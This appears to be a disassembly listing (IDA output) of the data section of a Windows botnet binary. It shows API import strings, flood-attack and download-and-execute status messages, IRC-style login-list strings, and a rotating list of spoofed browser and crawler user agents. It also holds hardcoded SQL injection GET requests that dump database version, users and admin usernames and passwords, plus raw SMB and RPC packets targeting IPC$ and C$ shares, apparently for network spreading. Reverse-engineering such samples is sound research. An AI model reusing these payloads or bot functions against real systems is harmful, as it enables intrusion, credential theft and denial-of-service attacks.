aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40BB43+305o
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40BB43+2F8o
		align 4
aOpenthreadtoke	db 'OpenThreadToken',0  ; DATA XREF: sub_40BB43:loc_40BE33o
aRegqueryinfoke	db 'RegQueryInfoKeyA',0 ; DATA XREF: sub_40BB43+290o
		align 4
aRegenumvaluea	db 'RegEnumValueA',0    ; DATA XREF: sub_40BB43+283o
		align 4
aRegenumkeyexa	db 'RegEnumKeyExA',0    ; DATA XREF: sub_40BB43+276o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40BB43+269o
aRegdeletekeya	db 'RegDeleteKeyA',0    ; DATA XREF: sub_40BB43+25Co
		align 4
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40BB43+24Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40BB43+242o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40BB43+235o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40BB43+228o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40BB43+220o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40BB43:loc_40BD52o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40BB43+1A2o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40BB43+195o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40BB43+188o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40BB43+17Bo
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40BB43+16Eo
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40BB43+161o
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40BB43+154o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40BB43+147o
		align 4
aClosewindow	db 'CloseWindow',0      ; DATA XREF: sub_40BB43+13Fo
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40BB43+12Eo
					; sub_42D64E+Do
		align 4
aGetcomputernam	db 'GetComputerNameA',0 ; DATA XREF: sub_40BB43+AAo
		align 10h
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40BB43+9Do
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40BB43+90o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40BB43+83o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40BB43+76o
		align 10h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40BB43+69o
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40BB43+5Co
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40BB43+4Fo
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40BB43+42o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40BB43+35o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40BB43+28o
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40BB43+20o
		align 4
aKernel32_dll_1	db 'kernel32.dll',0     ; DATA XREF: sub_40BB43+3o
		align 4
aRa_0		db 'ra',0               ; DATA XREF: sub_40C847+423o
		align 4
aWon		db 'won',0              ; DATA XREF: sub_40C847+376o
aRst		db 'rst',0              ; DATA XREF: sub_40C847+353o
aWak		db 'wak',0              ; DATA XREF: sub_40C847+330o
aWy		db 'wy',0               ; DATA XREF: sub_40C847+30Do
		align 10h
aSDoneWithSFloo	db '%s Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%'
					; DATA XREF: sub_40C847+1AFo
		db 'dMB).',0
		align 4
aSBadUrlOrDnsEr	db '%s Bad URL or DNS Error, error: <%d>',0 ; DATA XREF: sub_40CDE2+6A8o
		align 10h
aSUpdateFailedE	db '%s Update failed: Error executing file: %s.',0
					; DATA XREF: sub_40CDE2+65Bo
aSProcessFinish	db '%s Process Finished: "%s", Total Running Time: %s.',0
					; DATA XREF: sub_40CDE2+57Bo
		align 10h
a_2d_2d		db ' %.2d:%.2d',0       ; DATA XREF: sub_40CDE2+544o
					; sub_417CD7+2B4o
		align 4
aDS		db ' %d%s',0            ; DATA XREF: sub_40CDE2+51Bo
					; sub_417CD7+289o
		align 4
aHours		db ' hours',0           ; DATA XREF: sub_40CDE2+50Eo
					; sub_417CD7+27Co
		align 4
aHour		db ' hour',0            ; DATA XREF: sub_40CDE2+507o
					; sub_417CD7+275o
		align 4
aSCreatedProces	db '%s Created process: "%s", PID: <%d>',0 ; DATA XREF: sub_40CDE2+457o
aSFailedToCreat	db '%s Failed to create process: "%s", error: <%d>',0
					; DATA XREF: sub_40CDE2+3E7o
		align 4
aSCouldnTParseP	db '%s Couldn',27h,'t parse path, error: <%d>',0
					; DATA XREF: sub_40CDE2+328o
aSFileDownload_	db '%s File download: %.1fKB to: %s @ %.1fKB/sec.',0
					; DATA XREF: sub_40CDE2+25Do
					; sub_40CDE2+2C1o
		align 4
aSCouldnTOpenFi	db '%s Couldn',27h,'t open file for writing: %s.',0
					; DATA XREF: sub_40CDE2+B2o
		align 8
off_437718	dd offset aFastWebcrawler ; DATA XREF: .text:0040E060r
					; .text:0040E069r ...
					; "FAST-WebCrawler/3.8 (atw-crawler at fas"...
		dd offset aGooglebot2_0Ht ; "Googlebot/2.0 (+http://www.googlebot.co"...
		dd offset aLynx2_8_4rel_1 ; "Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1"...
		dd offset aGooglebot2_1Ht ; "Googlebot/2.1 (+http://www.googlebot.co"...
		dd offset aMicrosoftWebda ; "Microsoft-WebDAV-MiniRedir/5.1.2600"
		dd offset aGooglebot2_0_0 ; "Googlebot/2.0 (http://www.google.com/bo"...
		dd offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 4.01; Win"...
		dd offset aGooglebot2_1_0 ; "Googlebot/2.1 (http://www.google.com/bo"...
		dd offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 4.01; Win"...
		dd offset aGooglebot1_9Ht ; "Googlebot/1.9 (http://www.google.com/to"...
		dd offset aMozilla4_0Co_1 ; "Mozilla/4.0 (compatible; MSIE 5.0;	Wind"...
		dd offset aGooglebot1_9_1 ; "Googlebot/1.9.1 (http://www.google.com/"...
		dd offset aMozilla4_0Co_2 ; "Mozilla/4.0 (compatible; MSIE 5.5;	Wind"...
		dd offset aMozilla4_0Co_3 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0Co_4 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0Co_5 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0Co_6 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0Co_7 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0Co_8 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0Co_9 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla4_0C_10 ; "Mozilla/4.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla5_0Co_0 ; "Mozilla/5.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla5_0Co_1 ; "Mozilla/5.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla5_0Co_2 ; "Mozilla/5.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla5_0Co_3 ; "Mozilla/5.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla5_0Co_4 ; "Mozilla/5.0 (compatible; MSIE 6.0;	Wind"...
		dd offset aMozilla5_0Co_5 ; "Mozilla/5.0 compatible ZyBorg/1.0 (wn.z"...
		dd offset aMozilla4_75En ; "Mozilla/4.75 [en]"
		dd offset aMozilla5_0Slur ; "Mozilla/5.0 (Slurp/cat; slurp@inktomi.c"...
		dd offset aMozilla5_0Sl_0 ; "Mozilla/5.0 (Slurp/si; slurp@inktomi.co"...
		dd offset aMozilla5_0Wind ; "Mozilla/5.0 (Windows; U; Windows NT 5.0"...
		dd offset aMozilla5_0Wi_0 ; "Mozilla/5.0 (Windows; U; Windows NT 5.0"...
		dd offset aMozilla5_0Wi_1 ; "Mozilla/5.0 (Windows; U; Windows NT 5.2"...
		dd offset aMozilla5_0X11U ; "Mozilla/5.0 (X11; U; FreeBSD i386;	en-U"...
		dd offset aScooter3_2	; "Scooter/3.2"
		dd offset aWget1_8	; "Wget/1.8"
		dd offset aMozilla5_0X1_0 ; "Mozilla/5.0 (X11; U; openSuSe i686; SMP"...
		dd offset aWget2_0	; "Wget/2.0"
		dd offset aMozilla5_0X1_1 ; "Mozilla/5.0 (X11; U; Ubuntu i386; en-US"...
		dd offset aWget21	; "Wget/2,1"
		dd offset aMozilla5_0X1_2 ; "Mozilla/5.0 (X11; U; Ubuntu i386; en-US"...
		dd offset dword_4377C4
		dd 0
dword_4377C4	dd 73797870h, 392E312Fh, 342EhaMozilla5_0X1_2	db 'Mozilla/5.0 (X11; U; Ubuntu i386; en-US; rv:1.7.5) Gecko/20080112'
					; DATA XREF: .text:004377B8o
		db 0
		align 4
aWget21		db 'Wget/2,1',0         ; DATA XREF: .text:004377B4o
		align 10h
aMozilla5_0X1_1	db 'Mozilla/5.0 (X11; U; Ubuntu i386; en-US; rv:1.7) Gecko/20060502',0
					; DATA XREF: .text:004377B0o
aWget2_0	db 'Wget/2.0',0         ; DATA XREF: .text:004377ACo
		align 10h
aMozilla5_0X1_0	db 'Mozilla/5.0 (X11; U; openSuSe i686; SMP; en-US; rv:1.7) Gecko/200'
					; DATA XREF: .text:004377A8o
		db '51223',0
		align 4
aWget1_8	db 'Wget/1.8',0         ; DATA XREF: .text:004377A4o
		align 4
aScooter3_2	db 'Scooter/3.2',0      ; DATA XREF: .text:004377A0o
aMozilla5_0X11U	db 'Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.5) Gecko/20031021',0
					; DATA XREF: .text:0043779Co
					; .text:0043D998o
		align 8
aMozilla5_0Wi_1	db 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.5a) Gecko/20'
					; DATA XREF: .text:00437798o
		db '030728 Mozilla Firebird/0.7',0
		align 4
aMozilla5_0Wi_0	db 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20'
					; DATA XREF: .text:00437794o
		db '020718',0
aMozilla5_0Wind	db 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/200'
					; DATA XREF: .text:00437790o
		db '31007',0
		align 4
aMozilla5_0Sl_0	db 'Mozilla/5.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/'
					; DATA XREF: .text:0043778Co
		db 'slurp.html)',0
		align 4
aMozilla5_0Slur	db 'Mozilla/5.0 (Slurp/cat; slurp@inktomi.com; http://www.inktomi.com'
					; DATA XREF: .text:00437788o
		db '/slurp.html)',0
		align 4
aMozilla4_75En	db 'Mozilla/4.75 [en]',0 ; DATA XREF: .text:00437784o
					; .text:0043D990o
		align 10h
aMozilla5_0Co_5	db 'Mozilla/5.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http:'
					; DATA XREF: .text:00437780o
		db '//www.WISEnutbot.com)',0
		align 4
aMozilla5_0Co_4	db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461)',0
					; DATA XREF: .text:0043777Co
		align 8
aMozilla5_0Co_3	db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; ODI3 Navigator'
					; DATA XREF: .text:00437778o
		db ')',0
		align 10h
aMozilla5_0Co_2	db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0'
					; DATA XREF: .text:00437774o
		db ')',0
		align 8
aMozilla5_0Co_1	db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts'
					; DATA XREF: .text:00437770o
		db '-MyWay; (R1 1.3); .NET CLR 1.1.4322)',0
		align 10h
aMozilla5_0Co_0	db 'Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt+ .NET C'
					; DATA XREF: .text:0043776Co
		db 'LR)',0
		align 4
aMozilla4_0C_10	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser;'
					; DATA XREF: .text:00437768o
		db ' .NET CLR 1.1.4322)',0
		align 10h
aMozilla4_0Co_9	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4'
					; DATA XREF: .text:00437764o
					; .text:0043D970o
		db '322; .NET CLR 1.0.3705)',0
		align 10h
aMozilla4_0Co_8	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4'
					; DATA XREF: .text:00437760o
					; .text:0043D96Co
		db '322)',0
		align 4
aMozilla4_0Co_7	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0
					; DATA XREF: .text:0043775Co
					; .text:0043D908o ...
		align 10h
aMozilla4_0Co_6	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3'
					; DATA XREF: .text:00437758o
					; .text:0043D964o
		db '705; .NET CLR 1.1.4322)',0
		align 4
aMozilla4_0Co_5	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)',0
					; DATA XREF: .text:00437754o
					; .text:0043D960o
		align 10h
aMozilla4_0Co_4	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows ME; Win 9x 4.90; H0108'
					; DATA XREF: .text:00437750o
		db '18; AT&T CSM6.0)',0
		align 4
aMozilla4_0Co_3	db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows  NT 5.1; Q312461)',0
					; DATA XREF: .text:0043774Co
					; .text:0043D958o
		align 4
aMozilla4_0Co_2	db 'Mozilla/4.0 (compatible; MSIE 5.5; Windows ME)',0
					; DATA XREF: .text:00437748o
		align 4
aGooglebot1_9_1	db 'Googlebot/1.9.1 (http://www.google.com/tools/bot.php)',0
					; DATA XREF: .text:00437744o
		align 4
aMozilla4_0Co_1	db 'Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)',0
					; DATA XREF: .text:00437740o
					; .text:0043D950o
		align 4
aGooglebot1_9Ht	db 'Googlebot/1.9 (http://www.google.com/tools/bot.php)',0
					; DATA XREF: .text:0043773Co
aMozilla4_0Co_0	db 'Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)',0
					; DATA XREF: .text:00437738o
					; .text:0043D94Co
aGooglebot2_1_0	db 'Googlebot/2.1 (http://www.google.com/bot.php)',0
					; DATA XREF: .text:00437734o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)',0
					; DATA XREF: .text:00437730o
					; .text:0043D948o
aGooglebot2_0_0	db 'Googlebot/2.0 (http://www.google.com/bot.php)',0
					; DATA XREF: .text:0043772Co
		align 4
aMicrosoftWebda	db 'Microsoft-WebDAV-MiniRedir/5.1.2600',0 ; DATA XREF: .text:00437728o
					; .text:0043D944o
aGooglebot2_1Ht	db 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',0
					; DATA XREF: .text:00437724o
					; .text:0043D93Co
		align 10h
aLynx2_8_4rel_1	db 'Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/0.8.6',0
					; DATA XREF: .text:00437720o
					; .text:0043D940o
		align 4
aGooglebot2_0Ht	db 'Googlebot/2.0 (+http://www.googlebot.com/bot.html)',0
					; DATA XREF: .text:0043771Co
		align 10h
aFastWebcrawler	db 'FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/s'
					; DATA XREF: .text:off_437718o
		db 'upport/crawler.asp)',0
		align 4
asc_4381A8	db 0Dh,0Ah		; DATA XREF: sub_40DA0E+BBo
		db 0Dh,0Ah,0
		align 10h
a@:					; DATA XREF: sub_40DB4B+CFo
					; sub_40DB4B+147o ...
		unicode	0, <@>,0
asc_4381B4:				; DATA XREF: sub_40DB4B:loc_40DBD1o
					; sub_416C0B+147o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_40DB4B+72o
					; sub_40DB4B:loc_40DD04o ...
aHttp		db 'http',0             ; DATA XREF: sub_40DB4B+62o
					; sub_40DB4B+1A2o ...
		align 4
asc_4381C4:				; DATA XREF: sub_40DB4B+34o
					; sub_416208+39Ao ...
		unicode	0, <:>,0
aDoneSU		db 'Done --> %s:%u',0   ; DATA XREF: .text:0040EFCBo
		align 4
aIframe		db 'iframe',0           ; DATA XREF: .text:0040EC8Bo
		align 10h
aFrame		db 'frame',0            ; DATA XREF: .text:loc_40EC77o
		align 4
aEmbed		db 'embed',0            ; DATA XREF: .text:loc_40E9D9o
		align 10h
aSrc		db 'src',0              ; DATA XREF: .text:0040E7F1o
					; .text:0040EA8Fo ...
aImg		db 'img',0              ; DATA XREF: .text:loc_40E73Bo
aGetS1UnionSe_1	db 'GET %s=-1+union+select+1,2,concat_ws(char(58),version(),user(),no'
					; DATA XREF: .text:0040E6E2o
		db 'w()) HTTP/1.1',0Dh,0Ah
		db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl'
		db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/'
		db 'msword, */*',0Dh,0Ah
		db 'Accept-Language: en-us,en',0Dh,0Ah
		db 'User-Agent: %s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'Referer: %s',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aGetS1UnionSe_0	db 'GET %s=-1+union+select+1,2,concat_ws(0x3a3a,Username,Password)+fr'
					; DATA XREF: .text:0040E68Bo
		db 'om+admin HTTP/1.1',0Dh,0Ah
		db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl'
		db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/'
		db 'msword, */*',0Dh,0Ah
		db 'Accept-Language: en-us,en',0Dh,0Ah
		db 'User-Agent: %s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'Referer: %s',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aGetS1UnionSele	db 'GET %s=-1+union+select+database(),version(),system_user(),session'
					; DATA XREF: .text:0040E634o
		db '_user(),current_user(),last_insert_id(),3,4,5,6,user()/* HTTP/1.1'
		db 0Dh,0Ah
		db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl'
		db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/'
		db 'msword, */*',0Dh,0Ah
		db 'Accept-Language: en-us,en',0Dh,0Ah
		db 'User-Agent: %s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'Referer: %s',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttpSDSS	db 'http://%s:%d%s%s',0 ; DATA XREF: .text:0040E54Fo
					; .text:0040E8F2o ...
		align 4
aHttp_0		db 'http://',0          ; DATA XREF: .text:loc_40E4FDo
					; .text:loc_40E8A0o ...
aHttpSDS	db 'http://%s:%d%s',0   ; DATA XREF: .text:0040E4EDo
					; .text:0040E890o ...
		align 4
aHref		db 'href',0             ; DATA XREF: .text:0040E44Eo
		align 4
aRefresh	db '"Refresh"',0        ; DATA XREF: .text:0040E202o
		align 10h
aMeta		db 'meta',0             ; DATA XREF: .text:0040E1E6o
		align 4
aGetSHttp1_1Acc	db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: .text:0040E122o
					; .text:0040E34Do ...
		db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl'
		db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/'
		db 'msword, */*',0Dh,0Ah
		db 'Accept-Language: en-us,en',0Dh,0Ah
		db 'User-Agent: %s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'Referer: %s',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHostSD		db 'Host: %s:%d',0      ; DATA XREF: .text:0040E0F2o
					; .text:0040E320o ...
aHostS		db 'Host: %s',0         ; DATA XREF: .text:0040E0D3o
					; .text:0040E304o ...
		align 4
asc_438724:				; DATA XREF: .text:0040E08Ao
					; sub_416C0B+175o
		unicode	0, <=>,0
aFailedToParse_	db 'Failed to parse.',0 ; DATA XREF: .text:0040DFFFo
		align 4
off_43873C	dd offset off_42F434	; DATA XREF: .text:off_42FBC0o
					; .text:0042FD34o ...
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_438754	dd offset off_42F434	; DATA XREF: .text:off_42FBD8o
					; .text:0042FC6Co ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_438774	dd offset off_42F434	; DATA XREF: .text:off_42FC78o
					; .text:0042FCBCo ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_40F0E1+1Eo
a0_0_0_0	db '0.0.0.0',0          ; DATA XREF: sub_40F770+1A3o
aSDoneWithDPack	db '%s Done with %d pack(s)',0 ; DATA XREF: sub_40FA20+88o
aPingTimeout?DD	db 'Ping Timeout? (%d-%d)%d/%d',0 ; DATA XREF: .text:0040FBBEo
		align 4
aSLoginListComp	db '%s Login List complete.',0 ; DATA XREF: sub_40FEC8+69o
aIEmpty		db '<%i> <Empty>',0     ; DATA XREF: sub_40FEC8+46o
		align 4
aISS@S		db '<%i> %s!%s@%s',0    ; DATA XREF: sub_40FEC8+34o
		align 4
aSLoginList	db '%s Login List:',0   ; DATA XREF: sub_40FEC8+Fo
		align 4
aSS0S		db '%s %s * 0 :%s',0Dh,0Ah,0 ; DATA XREF: sub_40FFB4+156o
aSS		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_40FFB4+10Co
					; sub_41015C+41o ...
aLeaving__	db 'leaving..',0        ; DATA XREF: sub_41012A+9o
		align 4
asc_438858	db 0Dh,0Ah,0		; DATA XREF: sub_410234+Ao
		align 4
aSSS		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_410491+43o
aSSS_0		db '%s %s : %s',0Dh,0Ah,0 ; DATA XREF: sub_4104F6+3Fo
					; sub_4105DF+6Bo ...
		align 4
dword_438878	dd 25207325h, 13A2073h,	20434344h, 444E4553h, 1732520h
					; DATA XREF: sub_410557+3Fo
		dd 0A0Dh
dword_438890	dd 25207325h, 73252073h, 0A0Dh					; sub_410795+1Fo
dword_43889C	dd 25207325h, 73252073h, 0D732520h, 0AhaError		db 'Error',0            ; DATA XREF: sub_4108C7+56o
		align 4
aS_2		db '%s|',0              ; DATA XREF: sub_410930+34o
off_4388B8	dd offset byte_4E4957	; DATA XREF: sub_41099D:loc_410A7Do
					; sub_410AB7:loc_410BAAo
aVista		db 'Vista',0            ; DATA XREF: sub_41099D+D9o
					; sub_410AB7+ECo
		align 4
a2k3		db '2K3',0              ; DATA XREF: sub_41099D+C3o
					; sub_410AB7+D6o ...
aXp		db 'XP',0               ; DATA XREF: sub_41099D+B3o
					; sub_410AB7+C6o ...
		align 4
a2k		db '2K',0               ; DATA XREF: sub_41099D+A3o
					; sub_410AB7+B6o ...
		align 10h
aMe		db 'ME',0               ; DATA XREF: sub_41099D+8Bo
					; sub_410AB7+9Eo ...
		align 4
a98		db '98',0               ; DATA XREF: sub_41099D+7Bo
					; sub_410AB7+8Eo ...
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_41099D+6Bo
					; sub_410AB7+7Fo ...
		align 4
a95		db '95',0               ; DATA XREF: sub_41099D+58o
					; sub_410AB7+6Co ...
		align 10h
aSSCCC		db '%s|%s|%c%c%c',0     ; DATA XREF: sub_410AB7+125o
		align 10h
aI_1		db '%i',0               ; DATA XREF: sub_410BF1+94o
					; sub_418614+1C7o
		align 4
asc_4388F4:				; DATA XREF: sub_410BF1+57o
					; sub_410BF1:loc_410CA0o ...
		unicode	0, <|>,0
aCCCCCCCCC	db '%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_410CB4:loc_410DCAo
					; sub_410F23+E6o
		align 4
aDCCCCCCCCC	db '|%d|%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_410CB4+106o
		align 8
aAbcdefghijklmn	db 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXWYZ1234567890',0
					; DATA XREF: sub_410CB4+34o
					; sub_410DDF+42o ...
aSCCCCCCCCC	db '%s%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_410DDF:loc_410F06o
		align 10h
aDSCCCCCCCCC	db '|%d|%s%c%c%c%c%c%c%c%c%c',0 ; DATA XREF: sub_410DDF+117o
		align 4
a_2d		db '%.2d',0             ; DATA XREF: sub_41101E+66o
		align 4
aP		db 'P|',0               ; DATA XREF: sub_4110B0+2Bo
		align 4
aSDone		db '%s done',0          ; DATA XREF: sub_41112E+184o
					; sub_41130C+158o ...
dword_4389B0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: .text:00411F13o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_438A40	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00411F3Eo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_438AF0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00411F63o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_438BD0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_411A5E+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_411A5E+87o
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 2 dup(0)
dword_438C38	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_411A5E+27Ao
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 2 dup(0)
dword_438CA8	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_411A5E+2A9o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_438D50	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_411A5E+395o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_438DD0	dd offset loc_401490+5	; DATA XREF: sub_411A5E+3C3o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
